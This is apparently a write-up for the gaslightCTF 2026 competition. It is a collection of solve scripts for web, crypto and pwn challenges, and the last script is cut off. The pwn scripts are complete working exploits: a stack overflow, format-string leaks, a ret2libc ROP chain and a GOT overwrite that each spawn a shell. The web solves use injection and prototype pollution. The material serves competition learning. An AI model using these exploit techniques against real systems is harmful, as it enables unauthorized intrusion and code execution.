gaslightCTF 2026 writeup

1
2
3
4

import requests
s = requests.Session()
s.post(URL + "/register", json={"username": 'x"); role("admin'})
print(s.get(URL + "/flag").text)   # cookie 里的令牌已带 role("admin")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

def probe(prefix):   # 探针密码以 prefix 开头时，admin 是否排在探针后面
    register(prefix + "0" * (16 - len(prefix)))
    return order_of_admin_after_probe()

secret = ""
for pos in range(16):
    lo, hi = 0, 15
    while lo < hi:
        mid = (lo + hi) // 2
        if probe(secret + hex(mid)[2:]): hi = mid
        else: lo = mid + 1
    secret += hex(lo)[2:]
print(login(secret))   # 用 admin 密码登录读 flag

1
2
3

curl -sk -X PUT "$BASE/storage/x" -H 'Content-Type: application/json' \
  -d '{"value":"2","__proto__":{"value":"1000"}}'
curl -sk "$BASE/storage/flag"      # 无 cookie，直接读

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

#!/bin/bash
# crawl solve script — parameterized by HOST/PORT
# Usage: bash solve.sh <host> <port>
# The service is HTTPS-only (http 301 -> https); use -sk throughout.
set -u
HOST="${1:?usage: solve.sh <host> <port>}"
PORT="${2:?usage: solve.sh <host> <port>}"
BASE="https://${HOST}:${PORT}"
DIR="$(cd "$(dirname "$0")" && pwd)"
UA_NORMAL='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
OUT="${DIR}/recon_out"
mkdir -p "${OUT}"

echo "== Phase 1: robots.txt =="
curl -sk -m 8 -A "${UA_NORMAL}" "${BASE}/robots.txt" | tee "${OUT}/robots_body.txt"

# Extract first Disallow path (the flag directory)
DISP=$(grep -i '^[[:space:]]*Disallow' "${OUT}/robots_body.txt" | head -1 | sed 's/.*:[[:space:]]*//' | sed 's/[[:space:]]*$//')
[ -z "${DISP}" ] && { echo "no Disallow found in robots.txt"; exit 1; }
echo; echo "== Disallow path: ${DISP} =="

echo; echo "== Phase 2: list disallowed dir (autoindex) =="
curl -sk -m 8 -A "${UA_NORMAL}" "${BASE}${DISP}" | tee "${OUT}/dir_listing.txt"

# Find flag file in the listing
FLAGFILE=$(grep -oE 'href="[^"]+"' "${OUT}/dir_listing.txt" | sed 's/href="//;s/"//' | grep -viE '^(\.\./|/)$' | head -1)
[ -z "${FLAGFILE}" ] && { echo "no file found in dir listing"; exit 1; }
echo; echo "== Phase 3: fetch flag =="
curl -sk -m 8 -A "${UA_NORMAL}" -w '\n(HTTP %{http_code})\n' "${BASE}${DISP}${FLAGFILE}"
echo "done. artifacts in ${OUT}"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

#!/usr/bin/env python3
"""gaslightCTF 2026 corridors — solve script.

迷宫每节点只有 l/ r/ 两个去向，<title>correct</title> 表示在正确链上，
wrong 是死路。正确链的路径 l=0, r=1 按 8 位分组就是 flag 的 ASCII 编码：
沿唯一正确分支走到终点页(freedom)，解码路径即得 flag。

用法: python3 solve.py <host:port>
"""
import sys, re, ssl, http.client, threading, time

hostport = sys.argv[1] if len(sys.argv) > 1 else sys.exit("usage: python3 solve.py <host:port>")
host = hostport.split('/')[-1]
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0'}

def make_conn():
    return http.client.HTTPSConnection(host, timeout=15, context=ctx)

def fetch(conn, path):
    try:
        conn.request('GET', path, headers=UA)
        r = conn.getresponse()
        return r.status, r.read(20000)
    except Exception:
        return None

def get(conn, path):
    res = fetch(conn, path)
    if res is None:
        return fetch(make_conn(), path) or (0, b'')
    return res

def title(body):
    m = re.search(rb'<title>(.*?)</title>', body, re.S)
    return m.group(1).decode('utf-8', 'replace').strip().lower() if m else ''

def probe(conn, path, out, key):
    out[key] = title(get(conn, path)[1])

path = '/'
bits = []
t0 = time.time()
conns = [make_conn(), make_conn()]
step = 0
while True:
    step += 1
    out = {}
    ths = [
        threading.Thread(target=probe, args=(conns[0], path + 'l/', out, 'l')),
        threading.Thread(target=probe, args=(conns[1], path + 'r/', out, 'r')),
    ]
    for t in ths: t.start()
    for t in ths: t.join()
    correct = next((k for k, v in out.items() if v == 'correct'), None)
    if correct is None:  # 终点：非 correct/wrong 页
        other = next((k for k, v in out.items() if v not in ('correct', 'wrong')), None)
        if other:
            path += other + '/'
            bits.append(1 if other == 'r' else 0)
        print(f'[maze end] title={out} steps={step} bits={len(bits)} t={time.time()-t0:.0f}s')
        break
    path += correct + '/'
    bits.append(1 if correct == 'r' else 0)
    if step % 50 == 0:
        print(f'[{step}] bits={len(bits)}', flush=True)

flag = ''.join(chr(int(''.join(map(str, bits[i:i+8])), 2)) for i in range(0, len(bits) - 7, 8))
print('FLAG:', flag)
assert flag.startswith('gaslightCTF{') and flag.endswith('}'), 'decode check failed'

1
2
3
4
5
6

import sympy
A = sympy.Matrix([[p_i - p_1 for p_i in blocks(PT)][:4]])  # 4 组明文差分
E = sympy.Matrix([[c_i - c_1 for c_i in blocks(CT)][:4]])  # 对应密文差分
K = A.inv_mod(37) * E
b = (blocks(CT)[0] - blocks(PT)[0] * K) % 37
print(K.tolist() + b.tolist())   # 展平 20 字符即 keyword

1
2
3
4
5
6

# dream-starts-1
print(bytes((c - 3) % 128 for c in ct))          # 凯撒 -3

# dream-starts-2：把密文按 3 列均分，按列序读回
n = len(ct) // 3
print("".join(ct[i::n] for i in range(n))[:-2])  # 尾部补位 "eo" 丢弃

1
2
3
4
5
6
7

L = np.zeros((128, 128), dtype=np.uint8)
for i in range(128):
    e = np.zeros(128, dtype=np.uint8); e[i] = 1
    L[:, i] = enc(e) ^ enc(np.zeros(128, dtype=np.uint8))
c = enc(pt) ^ (L @ pt) & 1                       # 常数项
flag = gf2_solve(L, enc_flag ^ c)                # 高斯消元
print(bytes(flag).decode())

1
2
3
4
5

# 逐 limb：n_i = Σ p_j·q_{i-j}，p/q 每 limb 只有 1 个非零字节
# 非零字节位置 → 约束搜索（DFS），复杂度远低于 ECM
for i in range(limbs):
    for bp, bq in product(nonzero_positions, repeat=2):
        if check_limb(i, bp, bq): pin(p, bp); pin(q, bq); break

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

#!/usr/bin/env python3
"""solve.py — down-the-stream-1

8-bit LFSR 流密码：next_register 每轮把寄存器左移 8 次并 & 0xff 截断，
状态空间仅 256。IV 若 > 0xff 会在 bytearray.append 处抛 ValueError，
故 IV 必落在 [0, 255]，直接暴力枚举并用已知明文前缀验证。
"""

CT_HEX = open(
    "output.txt"
).read().strip()
CT = bytes.fromhex(CT_HEX)
PREFIX = b"gaslightCTF{"


def next_register(register: int) -> int:
    for _ in range(8):
        feedback = (
            ((register >> 7) & 1)
            ^ ((register >> 5) & 1)
            ^ ((register >> 4) & 1)
            ^ ((register >> 3) & 1)
        )
        register = ((register << 1) | feedback) & 0xFF
    return register


def decrypt(ct: bytes, iv: int) -> bytes:
    register = iv
    pt = bytearray()
    pt.append(ct[0] ^ register)
    for i in range(1, len(ct)):
        register = next_register(register)
        pt.append(ct[i] ^ register)
    return bytes(pt)


def main() -> None:
    for iv in range(256):
        pt = decrypt(CT, iv)
        if pt.startswith(PREFIX):
            print(f"IV = {iv:#04x}")
            print(f"FLAG = {pt.decode(errors='replace')}")
            return
    print("no candidate found")


if __name__ == "__main__":
    main()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135

#!/usr/bin/env python3
"""solve.py — down-the-stream-2 (gaslightCTF2026, crypto)

16-bit LFSR 流密码：next_register 每轮把寄存器左移 16 次，
feedback 位由未知的 generate_feedback(register) 生成（1 bit）。
对每 2 字节明文块，密文 = 明文 ^ 当前 16 位寄存器。

攻击链：
1. 已知明文 "Hello, world"（12 字节）与密文 XOR，还原出 6 个连续寄存器
   值 r0..r5（r_{i+1} = next_register(r_i)）。
2. 每段 16 步转移中，反馈位序列 f_0..f_15 恰好等于 r_{i+1} 的 16 个 bit
   （MSB 在前），据此重建出 80 个 (状态, 反馈位) 样本及全部中间状态。
3. 假设 generate_feedback 为线性（抽头 bit XOR）：对 80 个样本在 GF(2)
   上高斯消元解 16 个抽头系数。本题解出 taps = [6,9,11,12,13,15]，
   全部 80 个样本自洽，故反馈函数为 XOR(bit6,bit9,bit11,bit12,bit13,bit15)。
4. flag 明文以 "gaslightCTF{" 开头，前 2 字节即可还原 IV（恰与
   intercepted 相同，0x8ee8），随后用恢复的 LFSR 整体解密并校验前缀。

用法: python3 solve.py
"""

import os

HERE = os.path.dirname(os.path.abspath(__file__))

with open(os.path.join(HERE, "intercepted.txt")) as f:
    PT = f.readline().strip().encode()
    CT_HEX = f.readline().strip()
with open(os.path.join(HERE, "output.txt")) as f:
    FLAG_CT = bytes.fromhex(f.read().strip())

CT = bytes.fromhex(CT_HEX)


def recover_registers(pt: bytes, ct: bytes) -> list[int]:
    regs = []
    for i in range(0, len(pt), 2):
        regs.append((ct[i] ^ pt[i]) << 8 | (ct[i + 1] ^ pt[i + 1]))
    return regs


def build_samples(regs: list[int]) -> list[tuple[int, int]]:
    """从相邻寄存器对重建 16 步转移的 (状态, 反馈位) 样本。

    反馈位序列 f_0..f_15（f_0 最先进入）满足
    r_{i+1} = sum f_k * 2^(15-k)，即 r_{i+1} 的 bit15..bit0 依次等于 f_0..f_15。
    """
    samples = []
    for a, b in zip(regs, regs[1:]):
        fb_bits = [(b >> (15 - k)) & 1 for k in range(16)]
        s = a
        for k in range(16):
            samples.append((s, fb_bits[k]))
            s = ((s << 1) | fb_bits[k]) & 0xFFFF
    return samples


def gauss_elim(A: list[list[int]], b: list[int]) -> list[int] | None:
    """GF(2) 高斯消元解 A x = b；无解返回 None。"""
    n = len(A[0])
    aug = [row[:] + [bv] for row, bv in zip(A, b)]
    pivots = []
    r = 0
    for c in range(n):
        piv = next((i for i in range(r, len(aug)) if aug[i][c]), None)
        if piv is None:
            continue
        aug[r], aug[piv] = aug[piv], aug[r]
        for i in range(len(aug)):
            if i != r and aug[i][c]:
                aug[i] = [x ^ y for x, y in zip(aug[i], aug[r])]
        pivots.append(c)
        r += 1
    for row in aug[r:]:
        if all(v == 0 for v in row[:-1]) and row[-1]:
            return None
    x = [0] * n
    for i, c in enumerate(pivots):
        x[c] = aug[i][-1]
    return x


def generate_feedback(register: int, taps: list[int]) -> int:
    b = 0
    for j in taps:
        b ^= (register >> j) & 1
    return b


def next_register(register: int, taps: list[int]) -> int:
    for _ in range(16):
        register = ((register << 1) | generate_feedback(register, taps)) & 0xFFFF
    return register


def decrypt(ct: bytes, iv: int, taps: list[int]) -> bytes:
    out = bytearray()
    reg = iv
    out.append(ct[0] ^ (reg >> 8))
    out.append(ct[1] ^ (reg & 0xFF))
    for i in range(2, len(ct), 2):
        reg = next_register(reg, taps)
        out.append(ct[i] ^ (reg >> 8))
        out.append(ct[i + 1] ^ (reg & 0xFF))
    return bytes(out)


def main() -> None:
    regs = recover_registers(PT, CT)
    samples = build_samples(regs)
    A = [[(s >> j) & 1 for j in range(16)] for s, _ in samples]
    b = [f for _, f in samples]
    x = gauss_elim(A, b)
    if x is None:
        raise SystemExit("线性假设不成立：样本在 GF(2) 上无解")

    taps = [j for j in range(16) if x[j]]
    assert all(
        (sum(((s >> j) & 1) * x[j] for j in range(16)) & 1) == f for s, f in samples
    ), "抽头解未通过全部样本自洽校验"
    print(f"taps = {taps}")

    # 校验：用恢复的 LFSR 重放 intercepted 密文
    assert decrypt(CT, regs[0], taps) == PT, "intercepted 回放失败"

    # flag 前缀还原 IV
    iv = (FLAG_CT[0] ^ ord("g")) << 8 | (FLAG_CT[1] ^ ord("a"))
    pt = decrypt(FLAG_CT, iv, taps)
    print(f"IV = {iv:#06x}")
    print(f"FLAG = {pt.decode(errors='replace')}")
    assert pt.startswith(b"gaslightCTF{") and pt.endswith(b"}"), "flag 校验失败"


if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

#!/usr/bin/env python3
"""gaslightCTF 2026 - no-info (crypto)

The ciphertext is a monoalphabetic substitution where each plaintext letter is
replaced by the letter at the same index in the QWERTY keyboard order:
    plaintext  alphabet: a b c d e f g h i j k l m n o p q r s t u v w x y z
    ciphertext (QWERTY): q w e r t y u i o p a s d f g h j k l z x c v b n m
Digits/punctuation pass through unchanged.
"""
import re
import sys

QWERTY = "qwertyuiopasdfghjklzxcvbnm"
ALPHA = "abcdefghijklmnopqrstuvwxyz"
ENC = str.maketrans(ALPHA, QWERTY)   # plaintext -> ciphertext
DEC = str.maketrans(QWERTY, ALPHA)   # ciphertext -> plaintext

def main():
    ct = open(sys.argv[1] if len(sys.argv) > 1 else "output.txt").read().strip()
    print("=== decrypted text ===")
    print(ct.lower().translate(DEC))

    # the flag line: last line, digits kept, letters encrypted
    flag_line = [ln for ln in ct.splitlines() if ln.strip()][-1]
    inner = flag_line.lower().translate(DEC)
    print("\n=== decrypted flag line ===")
    print(inner)
    flag = "gaslightCTF{" + inner + "}"
    print("\nFLAG:", flag)
    return flag

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

T = 3.0
random.seed(42)
alpha = list(letters_alpha)
for it in range(400000):
    T = 3.0 * (0.9997 ** it)
    a, b = random.sample(alpha, 2)
    # swap plaintext values of a,b in perm
    pa, pb = perm[a], perm[b]
    perm[a], perm[b] = pb, pa
    ns = score(perm)
    if ns > best_score or random.random() < math.exp((ns - best_score)/T):
        if ns > best_score:
            best_score = ns; best_perm = dict(perm)
    else:
        perm[a], perm[b] = pa, pb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

#!/usr/bin/env python3
"""Where the dream starts 3 — solve script.

Cipher: ct[i] = (pt[i] + key[i % m] + (i // m)) % 26   (m and key unknown)

Plan:
1. Guess m by Friedman's index of coincidence on d[i] = ct[i] - (i//m) mod 26.
   Correct m makes each residue class a monoalphabetic substitution of English
   -> average IC ~0.065.  Here m = 5 (IC 0.0608).
2. With m fixed, d[i] = pt[i] + key[i % m] is plain Vigenere; solve each key
   position by chi-squared fit against English letter frequencies.
   -> key = "dream"
3. Decrypt and read the plaintext; the flag statement is in the plaintext.
"""
from string import ascii_lowercase
from collections import Counter
import math

ct = open('output.txt').read().strip()
n = len(ct)
cvals = [ascii_lowercase.index(c) for c in ct]

# --- step 1: find key length via Friedman IC ---
def ic(vals):
    cnt = Counter(vals)
    L = len(vals)
    if L < 2:
        return 0.0
    return sum(v * (v - 1) for v in cnt.values()) / (L * (L - 1))

best = (0, None)
for m in range(1, 61):
    groups = [[] for _ in range(m)]
    for i in range(n):
        groups[i % m].append((cvals[i] - (i // m)) % 26)
    avg = sum(ic(g) for g in groups) / m
    if avg > best[0]:
        best = (avg, m)
m = best[1]
print(f'key length m = {m}  (avg IC = {best[0]:.4f})')

# --- step 2: solve Vigenere key by chi-squared ---
FREQ = {'e': 12.7, 't': 9.06, 'a': 8.17, 'o': 7.51, 'i': 6.97, 'n': 6.75,
        's': 6.33, 'h': 6.09, 'r': 5.99, 'd': 4.25, 'l': 4.03, 'c': 2.78,
        'u': 2.76, 'm': 2.41, 'w': 2.36, 'f': 2.23, 'g': 2.02, 'y': 1.97,
        'p': 1.93, 'b': 1.49, 'v': 0.98, 'k': 0.77, 'j': 0.15, 'x': 0.15,
        'q': 0.10, 'z': 0.07}

d = [(cvals[i] - (i // m)) % 26 for i in range(n)]

def chi2(vals, k):
    dec = [(v - k) % 26 for v in vals]
    cnt = Counter(dec)
    L = len(vals)
    return sum((cnt.get(ascii_lowercase.index(ch), 0) - L * p / 100) ** 2 / (L * p / 100)
               for ch, p in FREQ.items())

key = []
for j in range(m):
    vals = [d[i] for i in range(j, n, m)]
    key.append(min(range(26), key=lambda k: chi2(vals, k)))
keyword = ''.join(ascii_lowercase[k] for k in key)
print(f'keyword = "{keyword}"')

# --- step 3: decrypt ---
pt = ''.join(ascii_lowercase[(d[i] - key[i % m]) % 26] for i in range(n))
print(pt)

# flag statement in the plaintext
i = pt.find('theflagis')
print('\nflag hint:', pt[i:])
print('FLAG = gaslightCTF{' + pt[i + len('theflagis'):] + '}')

1
2
3

payload = uuencode(script, 0o755, "x")     # 把 bash 脚本 uu 编码
s.sendall(b"uudecode\n"); s.sendall(payload)
s.sendall(b"./x\n")                        # 执行（PATH 里没有 cwd，要 ./）

1
2
3

badcat - /flag - < /dev/null
# psst, here's a sneak peek: gaslight
# CTF{f3l1n3_d3scr1pt0r_m30www_4d08bc16c461}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86

#!/usr/bin/env python3
"""
gaslightCTF 2026 - good-enough (pwn, 453)

Vuln: gets() stack overflow into a 16-byte buffer (no canary, PIE).
Gate: strncmp(buf, "gut genug", 9) must pass on the FIRST 9 bytes -> prefix payload
      with "gut genug".
Leak: main() prints printf("[%%p] du bist? ", main) -> PIE base leak.
Win:  win() at offset 0x1228 calls system("/bin/sh").

Payload layout (gets writes from rbp-0x10):
  buf[0:16] = "gut genug" + 7 junk
  rbp[16:24] = junk
  rip[24:32] = win

Usage: ./solve.py [host] [port]   (defaults to local process)
"""
import re
import sys

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST = None
PORT = None
SSL = False
if len(sys.argv) >= 3:
    HOST, PORT = sys.argv[1], int(sys.argv[2])
if len(sys.argv) >= 4 and sys.argv[3] == "ssl":
    SSL = True

BIN = "./good-enough"
MAIN_OFF = 0x1179
RET_OFF = 0x10E8   # ret gadget (deregister_tm_clones+0x28) for stack alignment
WIN_OFF = 0x1228


def main():
    if HOST:
        io = remote(HOST, PORT, ssl=SSL)
    else:
        io = process(BIN)

    # 1. grab the leak: "[<main addr>] du bist? " (no trailing newline)
    banner = io.recvuntil(b"du bist? ", timeout=8)
    log.info("banner: %r", banner)
    m = re.search(rb"\[(0x[0-9a-f]+)\]", banner)
    assert m, "no leak found"
    main_addr = int(m.group(1), 16)
    base = main_addr - MAIN_OFF
    ret = base + RET_OFF
    win = base + WIN_OFF
    log.success("main @ %#x, base @ %#x, ret @ %#x, win @ %#x", main_addr, base, ret, win)

    # 2. overflow: "gut genug" must be the first 9 bytes for strncmp to pass.
    #    ret gadget first aligns rsp for system() (avoids movaps crash in glibc).
    payload = b"gut genug" + b"A" * 7  # 16 bytes fill buffer
    payload += b"B" * 8                 # saved rbp
    payload += p64(ret)                 # saved rip -> ret gadget
    payload += p64(win)                 # -> win(): system("/bin/sh")
    log.info("payload (%d bytes): %r", len(payload), payload)
    io.sendline(payload)

    io.recvuntil(b"bleib einfach nur du", timeout=3)
    log.success("check passed, jumping to win()")

    # 3. shell
    if HOST:
        io.sendline(b"cat flag.txt; cat /flag; ls -la")
    else:
        io.sendline(b"cat flag.txt 2>/dev/null; id")
    try:
        io.sendline(b"echo PWNED_MARKER")
        out = io.recvall(timeout=5)
        log.info("output:\n%s", out.decode(errors="replace"))
        if b"PWNED_MARKER" in out:
            log.success("got shell")
    except Exception as e:
        log.warning("recv issue: %s", e)
    io.close()


if __name__ == "__main__":
    main()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104

#!/usr/bin/env python3
"""
gaslightCTF 2026 - ucas (pwn, ~470)

Vuln 1: printf(name) format string with a 16-byte name (fgets 0x10).
         -> leaks: %513$p = stack canary, %515$p = ret addr into
            __libc_start_call_main+0x75 (libc base = leak - 0x2b285).
Vuln 2: essays read with fgets(essay_i, 0xfa0 - counter) where
         counter += strlen(essay).  Sending "\x00\n" makes strlen == 0, so the
         counter never grows and EVERY essay fgets still gets size 0xfa0.
         essay3's buffer is at rbp-0x540, so 0xfa0 bytes overflow way past
         the canary (rbp-0x8, offset 0x538) and saved RIP -> ret2libc.
Gate:   the "too long" counter check is bypassed (counter stays ~1336) and
        main returns normally (canary restored), landing in our ROP chain.

Usage:  ./solve.py <host> <port> [ssl]
        ./solve.py                          # local wrapper demo (127.0.0.1:19999)
"""
import re
import sys
import time

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST, PORT, SSL = None, None, False
if len(sys.argv) >= 3:
    HOST, PORT = sys.argv[1], int(sys.argv[2])
if len(sys.argv) >= 4 and sys.argv[3] == "ssl":
    SSL = True

LIBC = "libc.so.6"
libc = ELF(LIBC)
SYSTEM = libc.symbols["system"]          # 0x58860
BINSH = next(libc.search(b"/bin/sh"))    # 0x1c3ed9
POP_RDI = 0xFC08D                        # pop rdi; ret
RET = 0x2930B                            # plain ret (stack alignment)
LIBC_RET_OFF = 0x2B285                   # ret after `call main` in __libc_start_call_main
CANARY_POS, LIBCRET_POS = 513, 515       # format-string arg positions
OFFSET = 0x538                           # essay3 buf (rbp-0x540) -> canary (rbp-0x8)


def attempt():
    if HOST:
        io = remote(HOST, PORT, ssl=SSL, timeout=8)
    else:
        io = remote("127.0.0.1", 19999, timeout=8)

    io.recvuntil(b"please enter your name: ", timeout=6)
    io.sendline(b"%513$p%515$p")                       # 14 bytes: canary + libc ret
    b = io.recvuntil(b"Why do you want", timeout=6)
    m = re.search(rb"welcome, (0x[0-9a-f]+)(0x[0-9a-f]+)", b)
    if not m:
        log.warning("leak parse failed: %r", b[:120])
        io.close()
        return None
    canary = int(m.group(1), 16)
    libc_base = int(m.group(2), 16) - LIBC_RET_OFF
    log.success("canary=%#x libc=%#x", canary, libc_base)

    chain = p64(libc_base + POP_RDI) + p64(libc_base + BINSH) \
          + p64(libc_base + RET) + p64(libc_base + SYSTEM)
    payload = b"A" * OFFSET + p64(canary) + b"B" * 8 + chain
    if b"\n" in payload:                               # fgets would truncate
        log.warning("0x0a byte in payload (canary), retrying new conn")
        io.close()
        return None

    io.send(b"\x00\n")                                 # essay1: strlen == 0
    io.recvuntil(b"How have your qualifications", timeout=5)
    io.send(b"\x00\n")                                 # essay2: strlen == 0
    io.recvuntil(b"What else have you done", timeout=5)
    io.send(payload + b"\n")                           # essay3: overflow
    io.recvuntil(b"clearing", timeout=6)
    io.sendline(b"echo PWNED_MARKER; cat flag; cat flag.txt; cat /flag; ls -la")
    try:
        out = io.recvall(timeout=6)
    except Exception as e:
        out = b""
    io.close()
    return out


def main():
    for i in range(8):
        out = attempt()
        if out is None:
            continue
        log.info("out:\n%s", out.decode(errors="replace"))
        if b"PWNED_MARKER" in out:
            log.success("got shell")
            m = re.search(rb"gaslightCTF\{[^}]+\}", out)
            if m:
                log.success("FLAG: %s", m.group(0).decode())
            sys.exit(0)
        time.sleep(1)
    log.failure("exploit failed after retries")
    sys.exit(1)


if __name__ == "__main__":
    main()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129

#!/usr/bin/env python3
"""
gaslightCTF 2026 - thirds (pwn, ~486)

Binary: 3 rounds of fgets(buf, 0x10) + printf(buf), bufs at rbp-0x40/-0x30/-0x20.
At EVERY printf call site rsp = rbp-0x40, so the stack positional args are:
  %6$  = buf1[0:8]   %7$  = buf1[8:16]   %8$  = buf2[0:8]   %9$  = buf2[8:16]
  %10$ = buf3[0:8]   %11$ = buf3[8:16]   %13$ = canary      %14$ = saved rbp (V)
  %15$ = saved RIP (libc+0x2b285)        %19$ = main ptr (PIE+0x1159)
(verified remotely: %15$p%19$p%14$p leaks libc/pie/V with handout offsets)

libc frame (glibc 2.42 handout): __libc_start_call_main does
  push rbp; mov rbp,rsp; sub rsp,0x90; ...; call [rbp-0x78]   ; call main
  ...  0x2b285: mov edi,eax / call exit
so main_rbp = V - 0xA0 and the saved-RIP slot is at V - 0x98.

Attack (format-string only, no overflow):
  Run 1:
    R1: buf1 = "%15$p%19$p%14$p"            -> leak libc, PIE, saved rbp V
    R2: buf2 = p64(V-0x98) + filler         (write target = saved RIP address)
    R3: buf3 = "%8$45698c%8$hn"             -> saved RIP low16 := 0xb282
        main returns -> ret to libc+0x2b282 (`call [rbp-0x78]`) -> main runs AGAIN
        (the call re-pushes 0x2b285 into the saved-RIP slot, so run 2 exits
         normally afterwards - we have our shell by then)
  Run 2:
    R1: buf1 = p64(printf@got) + filler     (target for %6$ at printf(buf2))
    R2: buf2 = "%6$34912c%6$hn"             -> printf@GOT low16 := 0x8860
        (system 0x58860 / printf 0x5fb80 share bytes 2+)
    then printf("3> ") = system("3> ")      (syntax error, harmless)
    R3: buf3 = "/bin/sh\x00" -> printf(buf3) = system("/bin/sh") -> SHELL

Note: the platform LB routes by TLS SNI - connect with server_hostname=host.

Usage: ./solve.py <host> <port> [--probe]
"""
SYSTEM_OFF = 0x58860
PRINTF_OFF = 0x5fb80
RET_OFF = 0x2b285            # ret after `call main` in __libc_start_call_main
MAIN_OFF = 0x1159
PRINTF_GOT_OFF = 0x4008
LOOP_RIP = 0xb282             # low16 of libc+0x2b282 (call [rbp-0x78] -> main)

# ……（省略 Conn：带 SSL+SNI 的缓冲 socket 封装——pwntools ssl=True 不发 SNI，
#     平台 LB 按 SNI 路由，必须 server_hostname=host 手工握手）……


def send_chunk(io, data):
    """fgets(buf,0x10): reads up to 15 bytes, stops at \n; NUL-terminates.
    A chunk shorter than 15 bytes must end with \n to be consumed fully."""
    if len(data) >= 15:
        assert len(data) == 15, "chunk too long: %d" % len(data)
        io.send(data)
    else:
        io.send(data + b"\n")


def round1_leak(io):
    io.recvuntil(b"1> ", timeout=8)
    send_chunk(io, b"%15$p%19$p%14$p")          # exactly 15 bytes
    line = io.recvuntil(b"\n", timeout=8)
    m = re.search(rb"0x([0-9a-f]+)0x([0-9a-f]+)0x([0-9a-f]+)", line)
    if not m:
        print("[!] leak parse failed: %r" % line)
        return None
    ret_leak = int(m.group(1), 16)
    main_leak = int(m.group(2), 16)
    v = int(m.group(3), 16)
    # The leak is printed directly before the "2> " prompt; the greedy regex
    # swallows the prompt's '2' as the last hex nibble of V. saved rbp is
    # 16-aligned, so drop the bogus low nibble.
    v >>= 4
    libc = ret_leak - RET_OFF
    pie = main_leak - MAIN_OFF
    if libc & 0xfff or pie & 0xfff or v & 0xf:
        print("[!] leaks not aligned: libc=%#x pie=%#x V=%#x" % (libc, pie, v))
        return None
    return dict(libc=libc, pie=pie, v=v)


# ……（省略 probe：用 %8$s 读 printf@GOT 验证远程 libc 与 handout 一致）……


def exploit(io, do_probe=False):
    leaks = round1_leak(io)
    if not leaks:
        return False
    libc, pie, v = leaks["libc"], leaks["pie"], leaks["v"]
    system = libc + SYSTEM_OFF
    printf_got = pie + PRINTF_GOT_OFF
    print("[*] libc=%#x pie=%#x V=%#x system=%#x printf@got=%#x"
          % (libc, pie, v, system, printf_got))

    saved_rip_addr = v - 0x98
    if any(b == 0x0a for b in p64(saved_rip_addr)):
        print("[!] saved_rip_addr %#x contains \\n byte - retry" % saved_rip_addr)
        return False
    # printf@GOT low16-write can only reach addresses in printf's own 64K
    # window; system must share that window (depends on libc base low16).
